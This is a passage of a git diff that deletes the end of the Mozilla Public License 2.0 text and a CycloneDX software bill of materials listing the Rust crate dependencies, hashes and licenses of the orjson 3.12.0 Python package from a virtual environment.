-1.10. "Modifications" - means any of the following: - - (a) any file in Source Code Form that results from an addition to, - deletion from, or modification of the contents of Covered - Software; or - - (b) any new file in Source Code Form that contains any Covered - Software. - -1.11. "Patent Claims" of a Contributor - means any patent claim(s), including without limitation, method, - process, and apparatus claims, in any patent Licensable by such - Contributor that would be infringed, but for the grant of the - License, by the making, using, selling, offering for sale, having - made, import, or transfer of either its Contributions or its - Contributor Version. - -1.12. "Secondary License" - means either the GNU General Public License, Version 2.0, the GNU - Lesser General Public License, Version 2.1, the GNU Affero General - Public License, Version 3.0, or any later versions of those - licenses. - -1.13. "Source Code Form" - means the form of the work preferred for making modifications. - -1.14. "You" (or "Your") - means an individual or a legal entity exercising rights under this - License. For legal entities, "You" includes any entity that - controls, is controlled by, or is under common control with You. For - purposes of this definition, "control" means (a) the power, direct - or indirect, to cause the direction or management of such entity, - whether by contract or otherwise, or (b) ownership of more than - fifty percent (50%) of the outstanding shares or beneficial - ownership of such entity. - -2. License Grants and Conditions --------------------------------- - -2.1. Grants - -Each Contributor hereby grants You a world-wide, royalty-free, -non-exclusive license: - -(a) under intellectual property rights (other than patent or trademark) - Licensable by such Contributor to use, reproduce, make available, - modify, display, perform, distribute, and otherwise exploit its - Contributions, either on an unmodified basis, with Modifications, or - as part of a Larger Work; and - -(b) under Patent Claims of such Contributor to make, use, sell, offer - for sale, have made, import, and otherwise transfer either its - Contributions or its Contributor Version. - -2.2. Effective Date - -The licenses granted in Section 2.1 with respect to any Contribution -become effective for each Contribution on the date the Contributor first -distributes such Contribution. - -2.3. Limitations on Grant Scope - -The licenses granted in this Section 2 are the only rights granted under -this License. No additional rights or licenses will be implied from the -distribution or licensing of Covered Software under this License. -Notwithstanding Section 2.1(b) above, no patent license is granted by a -Contributor: - -(a) for any code that a Contributor has removed from Covered Software; - or - -(b) for infringements caused by: (i) Your and any other third party's - modifications of Covered Software, or (ii) the combination of its - Contributions with other software (except as part of its Contributor - Version); or - -(c) under Patent Claims infringed by Covered Software in the absence of - its Contributions. - -This License does not grant any rights in the trademarks, service marks, -or logos of any Contributor (except as may be necessary to comply with -the notice requirements in Section 3.4). - -2.4. Subsequent Licenses - -No Contributor makes additional grants as a result of Your choice to -distribute the Covered Software under a subsequent version of this -License (see Section 10.2) or under the terms of a Secondary License (if -permitted under the terms of Section 3.3). - -2.5. Representation - -Each Contributor represents that the Contributor believes its -Contributions are its original creation(s) or it has sufficient rights -to grant the rights to its Contributions conveyed by this License. - -2.6. Fair Use - -This License is not intended to limit any rights You have under -applicable copyright doctrines of fair use, fair dealing, or other -equivalents. - -2.7. Conditions - -Sections 3.1, 3.2, 3.3, and 3.4 are conditions of the licenses granted -in Section 2.1. - -3. Responsibilities -------------------- - -3.1. Distribution of Source Form - -All distribution of Covered Software in Source Code Form, including any -Modifications that You create or to which You contribute, must be under -the terms of this License. You must inform recipients that the Source -Code Form of the Covered Software is governed by the terms of this -License, and how they can obtain a copy of this License. You may not -attempt to alter or restrict the recipients' rights in the Source Code -Form. - -3.2. Distribution of Executable Form - -If You distribute Covered Software in Executable Form then: - -(a) such Covered Software must also be made available in Source Code - Form, as described in Section 3.1, and You must inform recipients of - the Executable Form how they can obtain a copy of such Source Code - Form by reasonable means in a timely manner, at a charge no more - than the cost of distribution to the recipient; and - -(b) You may distribute such Executable Form under the terms of this - License, or sublicense it under different terms, provided that the - license for the Executable Form does not attempt to limit or alter - the recipients' rights in the Source Code Form under this License. - -3.3. Distribution of a Larger Work - -You may create and distribute a Larger Work under terms of Your choice, -provided that You also comply with the requirements of this License for -the Covered Software. If the Larger Work is a combination of Covered -Software with a work governed by one or more Secondary Licenses, and the -Covered Software is not Incompatible With Secondary Licenses, this -License permits You to additionally distribute such Covered Software -under the terms of such Secondary License(s), so that the recipient of -the Larger Work may, at their option, further distribute the Covered -Software under the terms of either this License or such Secondary -License(s). - -3.4. Notices - -You may not remove or alter the substance of any license notices -(including copyright notices, patent notices, disclaimers of warranty, -or limitations of liability) contained within the Source Code Form of -the Covered Software, except that You may alter any license notices to -the extent required to remedy known factual inaccuracies. - -3.5. Application of Additional Terms - -You may choose to offer, and to charge a fee for, warranty, support, -indemnity or liability obligations to one or more recipients of Covered -Software. However, You may do so only on Your own behalf, and not on -behalf of any Contributor. You must make it absolutely clear that any -such warranty, support, indemnity, or liability obligation is offered by -You alone, and You hereby agree to indemnify every Contributor for any -liability incurred by such Contributor as a result of warranty, support, -indemnity or liability terms You offer. You may include additional -disclaimers of warranty and limitations of liability specific to any -jurisdiction. - -4. Inability to Comply Due to Statute or Regulation ---------------------------------------------------- - -If it is impossible for You to comply with any of the terms of this -License with respect to some or all of the Covered Software due to -statute, judicial order, or regulation then You must: (a) comply with -the terms of this License to the maximum extent possible; and (b) -describe the limitations and the code they affect. Such description must -be placed in a text file included with all distributions of the Covered -Software under this License. Except to the extent prohibited by statute -or regulation, such description must be sufficiently detailed for a -recipient of ordinary skill to be able to understand it. - -5. Termination --------------- - -5.1. The rights granted under this License will terminate automatically -if You fail to comply with any of its terms. However, if You become -compliant, then the rights granted under this License from a particular -Contributor are reinstated (a) provisionally, unless and until such -Contributor explicitly and finally terminates Your grants, and (b) on an -ongoing basis, if such Contributor fails to notify You of the -non-compliance by some reasonable means prior to 60 days after You have -come back into compliance. Moreover, Your grants from a particular -Contributor are reinstated on an ongoing basis if such Contributor -notifies You of the non-compliance by some reasonable means, this is the -first time You have received notice of non-compliance with this License -from such Contributor, and You become compliant prior to 30 days after -Your receipt of the notice. - -5.2. If You initiate litigation against any entity by asserting a patent -infringement claim (excluding declaratory judgment actions, -counter-claims, and cross-claims) alleging that a Contributor Version -directly or indirectly infringes any patent, then the rights granted to -You by any and all Contributors for the Covered Software under Section -2.1 of this License shall terminate. - -5.3. In the event of termination under Sections 5.1 or 5.2 above, all -end user license agreements (excluding distributors and resellers) which -have been validly granted by You or Your distributors under this License -prior to termination shall survive termination. - -************************************************************************ -* * -* 6. Disclaimer of Warranty * -* ------------------------- * -* * -* Covered Software is provided under this License on an "as is" * -* basis, without warranty of any kind, either expressed, implied, or * -* statutory, including, without limitation, warranties that the * -* Covered Software is free of defects, merchantable, fit for a * -* particular purpose or non-infringing. The entire risk as to the * -* quality and performance of the Covered Software is with You. * -* Should any Covered Software prove defective in any respect, You * -* (not any Contributor) assume the cost of any necessary servicing, * -* repair, or correction. This disclaimer of warranty constitutes an * -* essential part of this License. No use of any Covered Software is * -* authorized under this License except under this disclaimer. * -* * -************************************************************************ - -************************************************************************ -* * -* 7. Limitation of Liability * -* -------------------------- * -* * -* Under no circumstances and under no legal theory, whether tort * -* (including negligence), contract, or otherwise, shall any * -* Contributor, or anyone who distributes Covered Software as * -* permitted above, be liable to You for any direct, indirect, * -* special, incidental, or consequential damages of any character * -* including, without limitation, damages for lost profits, loss of * -* goodwill, work stoppage, computer failure or malfunction, or any * -* and all other commercial damages or losses, even if such party * -* shall have been informed of the possibility of such damages. This * -* limitation of liability shall not apply to liability for death or * -* personal injury resulting from such party's negligence to the * -* extent applicable law prohibits such limitation. Some * -* jurisdictions do not allow the exclusion or limitation of * -* incidental or consequential damages, so this exclusion and * -* limitation may not apply to You. * -* * -************************************************************************ - -8. Litigation -------------- - -Any litigation relating to this License may be brought only in the -courts of a jurisdiction where the defendant maintains its principal -place of business and such litigation shall be governed by laws of that -jurisdiction, without reference to its conflict-of-law provisions. -Nothing in this Section shall prevent a party's ability to bring -cross-claims or counter-claims. - -9. Miscellaneous ----------------- - -This License represents the complete agreement concerning the subject -matter hereof. If any provision of this License is held to be -unenforceable, such provision shall be reformed only to the extent -necessary to make it enforceable. Any law or regulation which provides -that the language of a contract shall be construed against the drafter -shall not be used to construe this License against a Contributor. - -10. Versions of the License ---------------------------- - -10.1. New Versions - -Mozilla Foundation is the license steward. Except as provided in Section -10.3, no one other than the license steward has the right to modify or -publish new versions of this License. Each version will be given a -distinguishing version number. - -10.2. Effect of New Versions - -You may distribute the Covered Software under the terms of the version -of the License under which You originally received the Covered Software, -or under the terms of any subsequent version published by the license -steward. - -10.3. Modified Versions - -If you create software not governed by this License, and you want to -create a new license for such software, you may create and use a -modified version of this License if you rename the license and remove -any references to the name of the license steward (except to note that -such modified license differs from this License). - -10.4. Distributing Source Code Form that is Incompatible With Secondary -Licenses - -If You choose to distribute Source Code Form that is Incompatible With -Secondary Licenses under the terms of this version of the License, the -notice described in Exhibit B of this License must be attached. - -Exhibit A - Source Code Form License Notice -------------------------------------------- - - This Source Code Form is subject to the terms of the Mozilla Public - License, v. 2.0. If a copy of the MPL was not distributed with this - file, You can obtain one at https://mozilla.org/MPL/2.0/. - -If it is not possible or desirable to put the notice in a particular -file, then You may include the notice in a location (such as a LICENSE -file in a relevant directory) where a recipient would be likely to look -for such a notice. - -You may add additional accurate notices of copyright ownership. - -Exhibit B - "Incompatible With Secondary Licenses" Notice ---------------------------------------------------------- - - This Source Code Form is "Incompatible With Secondary Licenses", as - defined by the Mozilla Public License, v. 2.0. diff --git a/venv/Lib/site-packages/orjson-3.12.0.dist-info/sboms/orjson.cyclonedx.json b/venv/Lib/site-packages/orjson-3.12.0.dist-info/sboms/orjson.cyclonedx.json deleted file mode 100644 index 45cc4324f8ed909cbfb213d78437d044fbf67f78..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/orjson-3.12.0.dist-info/sboms/orjson.cyclonedx.json +++ /dev/null @@ -1,857 +0,0 @@ -{ - "bomFormat": "CycloneDX", - "specVersion": "1.5", - "version": 1, - "serialNumber": "urn:uuid:485ef12c-70fe-41f3-b3e3-b1ba9220090f", - "metadata": { - "timestamp": "2026-08-14T15:58:44.175052500Z", - "tools": [ - { - "vendor": "CycloneDX", - "name": "cargo-cyclonedx", - "version": "0.5.9" - } - ], - "authors": [ - { - "name": "ijl", - "email": "ijl@mailbox.org" - } - ], - "component": { - "type": "library", - "bom-ref": "path+file:///D:/a/orjson/orjson#3.12.0", - "author": "ijl ", - "name": "orjson", - "version": "3.12.0", - "description": "Fast, correct Python JSON library supporting dataclasses, datetimes, and numpy", - "scope": "required", - "licenses": [ - { - "expression": "MPL-2.0 AND (Apache-2.0 OR MIT)" - } - ], - "purl": "pkg:cargo/orjson@3.12.0?download_url=file://.", - "externalReferences": [ - { - "type": "vcs", - "url": "https://github.com/ijl/orjson" - } - ], - "components": [ - { - "type": "library", - "bom-ref": "path+file:///D:/a/orjson/orjson#3.12.0 bin-target-0", - "name": "orjson", - "version": "3.12.0", - "purl": "pkg:cargo/orjson@3.12.0?download_url=file://.#src/lib.rs" - } - ] - }, - "properties": [ - { - "name": "cdx:rustc:sbom:target:all_targets", - "value": "true" - } - ] - }, - "components": [ - { - "type": "library", - "bom-ref": "registry+https://github.com/rust-lang/crates.io-index#associative-cache@3.0.1", - "author": "Nick Fitzgerald ", - "name": "associative-cache", - "version": "3.0.1", - "description": "A generic N-way associative cache with fixed-size capacity and random or least recently used (LRU) replacement.", - "scope": "required", - "hashes": [ - { - "alg": "SHA-256", - "content": "138b4febdc7d0135523c55358c97361fd45089bc65fe859ef21a58d0892deb00" - } - ], - "licenses": [ - { - "expression": "MIT OR Apache-2.0" - } - ], - "purl": "pkg:cargo/associative-cache@3.0.1", - "externalReferences": [ - { - "type": "documentation", - "url": "https://docs.rs/associative-cache" - }, - { - "type": "vcs", - "url": "https://github.com/fitzgen/associative-cache" - } - ] - }, - { - "type": "library", - "bom-ref": "registry+https://github.com/rust-lang/crates.io-index#bytecount@0.6.9", - "author": "Andre Bogus , Joshua Landau ", - "name": "bytecount", - "version": "0.6.9", - "description": "count occurrences of a given byte, or the number of UTF-8 code points, in a byte slice, fast", - "scope": "required", - "hashes": [ - { - "alg": "SHA-256", - "content": "175812e0be2bccb6abe50bb8d566126198344f707e304f45c648fd8f2cc0365e" - } - ], - "licenses": [ - { - "expression": "Apache-2.0 OR MIT" - } - ], - "purl": "pkg:cargo/bytecount@0.6.9", - "externalReferences": [ - { - "type": "vcs", - "url": "https://github.com/llogiq/bytecount" - } - ] - }, - { - "type": "library", - "bom-ref": "registry+https://github.com/rust-lang/crates.io-index#cc@1.4.3", - "name": "cc", - "version": "1.4.3", - "description": "A build-time dependency for Cargo build scripts to assist in invoking the native C compiler to compile native C code into a static archive to be linked into Rust code. ", - "scope": "excluded", - "hashes": [ - { - "alg": "SHA-256", - "content": "509591b7bcd67f4ef775afad7662703b4935daaa6ec0e5605cfb1090b32a2b6d" - } - ], - "licenses": [ - { - "expression": "MIT OR Apache-2.0" - } - ], - "purl": "pkg:cargo/cc@1.4.3", - "externalReferences": [ - { - "type": "documentation", - "url": "https://docs.rs/cc" - }, - { - "type": "website", - "url": "https://github.com/rust-lang/cc-rs" - }, - { - "type": "vcs", - "url": "https://github.com/rust-lang/cc-rs" - } - ] - }, - { - "type": "library", - "bom-ref": "registry+https://github.com/rust-lang/crates.io-index#cfg-if@1.0.4", - "author": "Alex Crichton ", - "name": "cfg-if", - "version": "1.0.4", - "description": "A macro to ergonomically define an item depending on a large number of #[cfg] parameters. Structured like an if-else chain, the first matching branch is the item that gets emitted. ", - "scope": "required", - "hashes": [ - { - "alg": "SHA-256", - "content": "9330f8b2ff13f34540b44e946ef35111825727b38d33286ef986142615121801" - } - ], - "licenses": [ - { - "expression": "MIT OR Apache-2.0" - } - ], - "purl": "pkg:cargo/cfg-if@1.0.4", - "externalReferences": [ - { - "type": "vcs", - "url": "https://github.com/rust-lang/cfg-if" - } - ] - }, - { - "type": "library", - "bom-ref": "registry+https://github.com/rust-lang/crates.io-index#encoding_rs@0.8.35", - "author": "Henri Sivonen ", - "name": "encoding_rs", - "version": "0.8.35", - "description": "A Gecko-oriented implementation of the Encoding Standard", - "scope": "required", - "hashes": [ - { - "alg": "SHA-256", - "content": "75030f3c4f45dafd7586dd6780965a8c7e8e285a5ecb86713e63a79c5b2766f3" - } - ], - "licenses": [ - { - "expression": "(Apache-2.0 OR MIT) AND BSD-3-Clause" - } - ], - "purl": "pkg:cargo/encoding_rs@0.8.35", - "externalReferences": [ - { - "type": "documentation", - "url": "https://docs.rs/encoding_rs/" - }, - { - "type": "website", - "url": "https://docs.rs/encoding_rs/" - }, - { - "type": "vcs", - "url": "https://github.com/hsivonen/encoding_rs" - } - ] - }, - { - "type": "library", - "bom-ref": "registry+https://github.com/rust-lang/crates.io-index#find-msvc-tools@0.1.11", - "name": "find-msvc-tools", - "version": "0.1.11", - "description": "Find windows-specific tools, read MSVC versions from the registry and from COM interfaces", - "scope": "excluded", - "hashes": [ - { - "alg": "SHA-256", - "content": "d45db016d36b838f563236e9193d0ee6ce38f3f68b6c94e914b4929c96bbb890" - } - ], - "licenses": [ - { - "expression": "MIT OR Apache-2.0" - } - ], - "purl": "pkg:cargo/find-msvc-tools@0.1.11", - "externalReferences": [ - { - "type": "documentation", - "url": "https://docs.rs/find-msvc-tools" - }, - { - "type": "vcs", - "url": "https://github.com/rust-lang/cc-rs" - } - ] - }, - { - "type": "library", - "bom-ref": "registry+https://github.com/rust-lang/crates.io-index#itoap@1.0.1", - "author": "Ryohei Machida ", - "name": "itoap", - "version": "1.0.1", - "description": "Even faster functions for printing integers with decimal format", - "scope": "required", - "hashes": [ - { - "alg": "SHA-256", - "content": "9028f49264629065d057f340a86acb84867925865f73bbf8d47b4d149a7e88b8" - } - ], - "licenses": [ - { - "expression": "MIT" - } - ], - "purl": "pkg:cargo/itoap@1.0.1", - "externalReferences": [ - { - "type": "website", - "url": "https://github.com/Kogia-sima/itoap" - }, - { - "type": "vcs", - "url": "https://github.com/Kogia-sima/itoap" - } - ] - }, - { - "type": "library", - "bom-ref": "registry+https://github.com/rust-lang/crates.io-index#jiff-core@0.1.0", - "author": "Andrew Gallant ", - "name": "jiff-core", - "version": "0.1.0", - "description": "Low level datetime primitives for the Jiff library.", - "scope": "required", - "hashes": [ - { - "alg": "SHA-256", - "content": "7feca88439efe53da3754500c1851dedf3cb36c524dd5cf8225cc0794de95d09" - } - ], - "licenses": [ - { - "expression": "Unlicense OR MIT" - } - ], - "purl": "pkg:cargo/jiff-core@0.1.0", - "externalReferences": [ - { - "type": "documentation", - "url": "https://docs.rs/jiff-core" - }, - { - "type": "website", - "url": "https://github.com/BurntSushi/jiff/tree/master/crates/jiff-core" - }, - { - "type": "vcs", - "url": "https://github.com/BurntSushi/jiff" - } - ] - }, - { - "type": "library", - "bom-ref": "registry+https://github.com/rust-lang/crates.io-index#libc@0.2.189", - "name": "libc", - "version": "0.2.189", - "description": "Raw FFI bindings to platform libraries like libc.", - "scope": "required", - "hashes": [ - { - "alg": "SHA-256", - "content": "3eaf3ede3fee6db1a4c2ee091bf8a8b4dccdc6d17f656fb07896ee72867612f2" - } - ], - "licenses": [ - { - "expression": "MIT OR Apache-2.0" - } - ], - "purl": "pkg:cargo/libc@0.2.189", - "externalReferences": [ - { - "type": "vcs", - "url": "https://github.com/rust-lang/libc" - } - ] - }, - { - "type": "library", - "bom-ref": "registry+https://github.com/rust-lang/crates.io-index#no-panic@0.1.37", - "author": "David Tolnay ", - "name": "no-panic", - "version": "0.1.37", - "description": "Attribute macro to require that the compiler prove a function can't ever panic.", - "scope": "required", - "hashes": [ - { - "alg": "SHA-256", - "content": "fc80370b4544f28ffa317e3c3474ee3ecbfe269196c01ae657d9f837a7d944a1" - } - ], - "licenses": [ - { - "expression": "MIT OR Apache-2.0" - } - ], - "purl": "pkg:cargo/no-panic@0.1.37", - "externalReferences": [ - { - "type": "documentation", - "url": "https://docs.rs/no-panic" - }, - { - "type": "vcs", - "url": "https://github.com/dtolnay/no-panic" - } - ] - }, - { - "type": "library", - "bom-ref": "registry+https://github.com/rust-lang/crates.io-index#once_cell@1.21.4", - "author": "Aleksey Kladov ", - "name": "once_cell", - "version": "1.21.4", - "description": "Single assignment cells and lazy values.", - "scope": "required", - "hashes": [ - { - "alg": "SHA-256", - "content": "9f7c3e4beb33f85d45ae3e3a1792185706c8e16d043238c593331cc7cd313b50" - } - ], - "licenses": [ - { - "expression": "MIT OR Apache-2.0" - } - ], - "purl": "pkg:cargo/once_cell@1.21.4", - "externalReferences": [ - { - "type": "documentation", - "url": "https://docs.rs/once_cell" - }, - { - "type": "vcs", - "url": "https://github.com/matklad/once_cell" - } - ] - }, - { - "type": "library", - "bom-ref": "registry+https://github.com/rust-lang/crates.io-index#proc-macro2@1.0.107", - "author": "David Tolnay , Alex Crichton ", - "name": "proc-macro2", - "version": "1.0.107", - "description": "A substitute implementation of the compiler's `proc_macro` API to decouple token-based libraries from the procedural macro use case.", - "scope": "required", - "hashes": [ - { - "alg": "SHA-256", - "content": "985e7ec9bb745e6ce6535b544d84d6cd6f7ad8bd711c398938ae983b91a766d9" - } - ], - "licenses": [ - { - "expression": "MIT OR Apache-2.0" - } - ], - "purl": "pkg:cargo/proc-macro2@1.0.107", - "externalReferences": [ - { - "type": "documentation", - "url": "https://docs.rs/proc-macro2" - }, - { - "type": "vcs", - "url": "https://github.com/dtolnay/proc-macro2" - } - ] - }, - { - "type": "library", - "bom-ref": "registry+https://github.com/rust-lang/crates.io-index#pyo3-build-config@0.28.3", - "author": "PyO3 Project and Contributors ", - "name": "pyo3-build-config", - "version": "0.28.3", - "description": "Build configuration for the PyO3 ecosystem", - "scope": "excluded", - "hashes": [ - { - "alg": "SHA-256", - "content": "e368e7ddfdeb98c9bca7f8383be1648fd84ab466bf2bc015e94008db6d35611e" - } - ], - "licenses": [ - { - "expression": "MIT OR Apache-2.0" - } - ], - "purl": "pkg:cargo/pyo3-build-config@0.28.3", - "externalReferences": [ - { - "type": "website", - "url": "https://github.com/pyo3/pyo3" - }, - { - "type": "vcs", - "url": "https://github.com/pyo3/pyo3" - } - ] - }, - { - "type": "library", - "bom-ref": "registry+https://github.com/rust-lang/crates.io-index#pyo3-ffi@0.28.3", - "author": "PyO3 Project and Contributors ", - "name": "pyo3-ffi", - "version": "0.28.3", - "description": "Python-API bindings for the PyO3 ecosystem", - "scope": "required", - "hashes": [ - { - "alg": "SHA-256", - "content": "7f29e10af80b1f7ccaf7f69eace800a03ecd13e883acfacc1e5d0988605f651e" - } - ], - "licenses": [ - { - "expression": "MIT OR Apache-2.0" - } - ], - "purl": "pkg:cargo/pyo3-ffi@0.28.3", - "externalReferences": [ - { - "type": "website", - "url": "https://github.com/pyo3/pyo3" - }, - { - "type": "other", - "url": "python" - }, - { - "type": "vcs", - "url": "https://github.com/pyo3/pyo3" - } - ] - }, - { - "type": "library", - "bom-ref": "registry+https://github.com/rust-lang/crates.io-index#quote@1.0.47", - "author": "David Tolnay ", - "name": "quote", - "version": "1.0.47", - "description": "Quasi-quoting macro quote!(...)", - "scope": "required", - "hashes": [ - { - "alg": "SHA-256", - "content": "1fbf4db142a473a8d80c26bbf18454ed458bf8d26c8219c331daecfdbd079001" - } - ], - "licenses": [ - { - "expression": "MIT OR Apache-2.0" - } - ], - "purl": "pkg:cargo/quote@1.0.47", - "externalReferences": [ - { - "type": "documentation", - "url": "https://docs.rs/quote/" - }, - { - "type": "vcs", - "url": "https://github.com/dtolnay/quote" - } - ] - }, - { - "type": "library", - "bom-ref": "registry+https://github.com/rust-lang/crates.io-index#shlex@2.0.1", - "author": "comex , Fenhl , Adrian Taylor , Alex Touchet , Daniel Parks , Garrett Berg ", - "name": "shlex", - "version": "2.0.1", - "description": "Split a string into shell words, like Python's shlex.", - "scope": "excluded", - "hashes": [ - { - "alg": "SHA-256", - "content": "f8fadd59c855ef2080decdef8ff161eb6661b86933c9d82e5ba29dc602a55aba" - } - ], - "licenses": [ - { - "expression": "MIT OR Apache-2.0" - } - ], - "purl": "pkg:cargo/shlex@2.0.1", - "externalReferences": [ - { - "type": "vcs", - "url": "https://github.com/comex/rust-shlex" - } - ] - }, - { - "type": "library", - "bom-ref": "registry+https://github.com/rust-lang/crates.io-index#simdutf8@0.1.5", - "author": "Hans Kratz ", - "name": "simdutf8", - "version": "0.1.5", - "description": "SIMD-accelerated UTF-8 validation.", - "scope": "required", - "hashes": [ - { - "alg": "SHA-256", - "content": "e3a9fe34e3e7a50316060351f37187a3f546bce95496156754b601a5fa71b76e" - } - ], - "licenses": [ - { - "expression": "MIT OR Apache-2.0" - } - ], - "purl": "pkg:cargo/simdutf8@0.1.5", - "externalReferences": [ - { - "type": "documentation", - "url": "https://docs.rs/simdutf8/" - }, - { - "type": "website", - "url": "https://github.com/rusticstuff/simdutf8" - }, - { - "type": "vcs", - "url": "https://github.com/rusticstuff/simdutf8" - } - ] - }, - { - "type": "library", - "bom-ref": "registry+https://github.com/rust-lang/crates.io-index#syn@3.0.3", - "author": "David Tolnay ", - "name": "syn", - "version": "3.0.3", - "description": "Parser for Rust source code", - "scope": "required", - "hashes": [ - { - "alg": "SHA-256", - "content": "53e9bae58849f64dfa4f5d5ae372c8341f7305f82a3868709269343628b659a3" - } - ], - "licenses": [ - { - "expression": "MIT OR Apache-2.0" - } - ], - "purl": "pkg:cargo/syn@3.0.3", - "externalReferences": [ - { - "type": "documentation", - "url": "https://docs.rs/syn" - }, - { - "type": "vcs", - "url": "https://github.com/dtolnay/syn" - } - ] - }, - { - "type": "library", - "bom-ref": "registry+https://github.com/rust-lang/crates.io-index#target-lexicon@0.13.5", - "author": "Dan Gohman ", - "name": "target-lexicon", - "version": "0.13.5", - "description": "LLVM target triple types", - "scope": "excluded", - "hashes": [ - { - "alg": "SHA-256", - "content": "adb6935a6f5c20170eeceb1a3835a49e12e19d792f6dd344ccc76a985ca5a6ca" - } - ], - "licenses": [ - { - "expression": "Apache-2.0 WITH LLVM-exception" - } - ], - "purl": "pkg:cargo/target-lexicon@0.13.5", - "externalReferences": [ - { - "type": "documentation", - "url": "https://docs.rs/target-lexicon/" - }, - { - "type": "vcs", - "url": "https://github.com/bytecodealliance/target-lexicon" - } - ] - }, - { - "type": "library", - "bom-ref": "registry+https://github.com/rust-lang/crates.io-index#unicode-ident@1.0.24", - "author": "David Tolnay ", - "name": "unicode-ident", - "version": "1.0.24", - "description": "Determine whether characters have the XID_Start or XID_Continue properties according to Unicode Standard Annex #31", - "scope": "required", - "hashes": [ - { - "alg": "SHA-256", - "content": "e6e4313cd5fcd3dad5cafa179702e2b244f760991f45397d14d4ebf38247da75" - } - ], - "licenses": [ - { - "expression": "(MIT OR Apache-2.0) AND Unicode-3.0" - } - ], - "purl": "pkg:cargo/unicode-ident@1.0.24", - "externalReferences": [ - { - "type": "documentation", - "url": "https://docs.rs/unicode-ident" - }, - { - "type": "vcs", - "url": "https://github.com/dtolnay/unicode-ident" - } - ] - }, - { - "type": "library", - "bom-ref": "registry+https://github.com/rust-lang/crates.io-index#xxhash-rust@0.8.18", - "author": "Douman ", - "name": "xxhash-rust", - "version": "0.8.18", - "description": "Implementation of xxhash", - "scope": "required", - "hashes": [ - { - "alg": "SHA-256", - "content": "aee1b19627c7c60102ab80d3a9cbe18de90bfe03bfa6c3715447681f0e8c8af6" - } - ], - "licenses": [ - { - "expression": "BSL-1.0" - } - ], - "purl": "pkg:cargo/xxhash-rust@0.8.18", - "externalReferences": [ - { - "type": "vcs", - "url": "https://github.com/DoumanAsh/xxhash-rust" - } - ] - }, - { - "type": "library", - "bom-ref": "registry+https://github.com/rust-lang/crates.io-index#zmij@1.0.23", - "author": "David Tolnay ", - "name": "zmij", - "version": "1.0.23", - "description": "A double-to-string conversion algorithm based on Schubfach and xjb", - "scope": "required", - "hashes": [ - { - "alg": "SHA-256", - "content": "29666d0abbfad1e3dc4dcf6144730dd3a3ab225bbbdac83319345b1b44ccfc1b" - } - ], - "licenses": [ - { - "expression": "MIT" - } - ], - "purl": "pkg:cargo/zmij@1.0.23", - "externalReferences": [ - { - "type": "documentation", - "url": "https://docs.rs/zmij" - }, - { - "type": "vcs", - "url": "https://github.com/dtolnay/zmij" - } - ] - } - ], - "dependencies": [ - { - "ref": "path+file:///D:/a/orjson/orjson#3.12.0", - "dependsOn": [ - "registry+https://github.com/rust-lang/crates.io-index#associative-cache@3.0.1", - "registry+https://github.com/rust-lang/crates.io-index#bytecount@0.6.9", - "registry+https://github.com/rust-lang/crates.io-index#cc@1.4.3", - "registry+https://github.com/rust-lang/crates.io-index#encoding_rs@0.8.35", - "registry+https://github.com/rust-lang/crates.io-index#itoap@1.0.1", - "registry+https://github.com/rust-lang/crates.io-index#jiff-core@0.1.0", - "registry+https://github.com/rust-lang/crates.io-index#once_cell@1.21.4", - "registry+https://github.com/rust-lang/crates.io-index#pyo3-build-config@0.28.3", - "registry+https://github.com/rust-lang/crates.io-index#pyo3-ffi@0.28.3", - "registry+https://github.com/rust-lang/crates.io-index#simdutf8@0.1.5", - "registry+https://github.com/rust-lang/crates.io-index#xxhash-rust@0.8.18", - "registry+https://github.com/rust-lang/crates.io-index#zmij@1.0.23" - ] - }, - { - "ref": "registry+https://github.com/rust-lang/crates.io-index#associative-cache@3.0.1" - }, - { - "ref": "registry+https://github.com/rust-lang/crates.io-index#bytecount@0.6.9" - }, - { - "ref": "registry+https://github.com/rust-lang/crates.io-index#cc@1.4.3", - "dependsOn": [ - "registry+https://github.com/rust-lang/crates.io-index#find-msvc-tools@0.1.11", - "registry+https://github.com/rust-lang/crates.io-index#shlex@2.0.1" - ] - }, - { - "ref": "registry+https://github.com/rust-lang/crates.io-index#cfg-if@1.0.4" - }, - { - "ref": "registry+https://github.com/rust-lang/crates.io-index#encoding_rs@0.8.35", - "dependsOn": [ - "registry+https://github.com/rust-lang/crates.io-index#cfg-if@1.0.4" - ] - }, - { - "ref": "registry+https://github.com/rust-lang/crates.io-index#find-msvc-tools@0.1.11" - }, - { - "ref": "registry+https://github.com/rust-lang/crates.io-index#itoap@1.0.1" - }, - { - "ref": "registry+https://github.com/rust-lang/crates.io-index#jiff-core@0.1.0" - }, - { - "ref": "registry+https://github.com/rust-lang/crates.io-index#libc@0.2.189" - }, - { - "ref": "registry+https://github.com/rust-lang/crates.io-index#no-panic@0.1.37", - "dependsOn": [ - "registry+https://github.com/rust-lang/crates.io-index#proc-macro2@1.0.107", - "registry+https://github.com/rust-lang/crates.io-index#quote@1.0.47", - "registry+https://github.com/rust-lang/crates.io-index#syn@3.0.3" - ] - }, - { - "ref": "registry+https://github.com/rust-lang/crates.io-index#once_cell@1.21.4" - }, - { - "ref": "registry+https://github.com/rust-lang/crates.io-index#proc-macro2@1.0.107", - "dependsOn": [ - "registry+https://github.com/rust-lang/crates.io-index#unicode-ident@1.0.24" - ] - }, - { - "ref": "registry+https://github.com/rust-lang/crates.io-index#pyo3-build-config@0.28.3", - "dependsOn": [ - "registry+https://github.com/rust-lang/crates.io-index#target-lexicon@0.13.5" - ] - }, - { - "ref": "registry+https://github.com/rust-lang/crates.io-index#pyo3-ffi@0.28.3", - "dependsOn": [ - "registry+https://github.com/rust-lang/crates.io-index#libc@0.2.189", - "registry+https://github.com/rust-lang/crates.io-index#pyo3-build-config@0.28.3" - ] - }, - { - "ref": "registry+https://github.com/rust-lang/crates.io-index#quote@1.0.47", - "dependsOn": [ - "registry+https://github.com/rust-lang/crates.io-index#proc-macro2@1.0.107" - ] - }, - { - "ref": "registry+https://github.com/rust-lang/crates.io-index#shlex@2.0.1" - }, - { - "ref": "registry+https://github.com/rust-lang/crates.io-index#simdutf8@0.1.5" - }, - { - "ref": "registry+https://github.com/rust-lang/crates.io-index#syn@3.0.3", - "dependsOn": [ - "registry+https://github.com/rust-lang/crates.io-index#proc-macro2@1.0.107", - "registry+https://github.com/rust-lang/crates.io-index#quote@1.0.47", - "registry+https://github.com/rust-lang/crates.io-index#unicode-ident@1.0.24" - ] - }, - { - "ref": "registry+https://github.com/rust-lang/crates.io-index#target-lexicon@0.13.5" - }, - { - "ref": "registry+https://github.com/rust-lang/crates.io-index#unicode-ident@1.0.24" - }, - { - "ref": 